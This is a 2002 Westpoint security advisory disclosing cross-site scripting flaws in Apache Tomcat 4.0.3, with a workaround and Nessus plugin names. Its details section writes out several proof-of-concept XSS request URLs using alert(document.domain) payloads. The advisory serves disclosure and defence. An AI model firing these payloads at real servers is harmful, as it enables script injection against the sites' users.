wp-02-0008: Apache Tomcat Cross Site Scripting

[Matt Moore <matt () westpoint ltd uk>]

Westpoint Security Advisory

Title:            Apache Tomcat Cross Site Scripting
Risk Rating:      Low
Software:         Apache Tomcat v4.0.3
Platforms:        WinNT, Win2k, Linux
Vendor URL:       jakarta.apache.org
Author:           Matt Moore <matt () westpoint ltd uk>
Date:             10th July 2002
Advisory ID#:     wp-02-0008

Overview:
=========
Apache Tomcat is the servlet container that is used in the official 
Reference
Implementation for the Java Servlet and JavaServer Pages technologies.

Tomcat has a couple of Cross Site Scripting vulnerabilities.

Details:
========

Cross Site Scripting
--------------------

By using the /servlet/ mapping to invoke various servlets / classes it is
possible to cause Tomcat to throw an exception, allowing XSS attacks:

tomcat-server/servlet/org.apache.catalina.servlets.WebdavStatus/SCRIPTalert(document.domain)/SCRIPT 

tomcat-server/servlet/org.apache.catalina.ContainerServlet/SCRIPTalert(document.domain)/SCRIPT 

tomcat-server/servlet/org.apache.catalina.Context/SCRIPTalert(document.domain)/SCRIPT 

tomcat-server/servlet/org.apache.catalina.Globals/SCRIPTalert(document.domain)/SCRIPT 


Linux and Win32 versions of Tomcat are vulnerable.

(angle brackets omitted)

The DOS device name physical path disclosure bug reported recently by 
Peter Grundl
can also be used to perform XSS attacks, e.g:

tomcat-server/COM2.IMG%20src= "Javascript:alert(document.domain)"

This is obviously Win32 specific.

Vendor Response:
================
None.

Patch Information:
==================

Upgrading to v4.1.3 beta resolves the DOS device name XSS issue.

The workaround for the other XSS issues described above is as follows:

The "invoker" servlet (mapped to /servlet/), which executes anonymous 
servlet
classes that have not been defined in a web.xml file should be unmapped.

The entry for this can be found in the /tomcat-install-dir/conf/web.xml 
file.

Two Nessus plugins should be available to test for these vulnerabilities 
from
www.nessus.org:

apache_tomcat_DOS_Device_XSS.nasl
apache_tomcat_Servlet_XSS.nasl

This advisory is available online at:

http://www.westpoint.ltd.uk/advisories/wp-02-0008.txt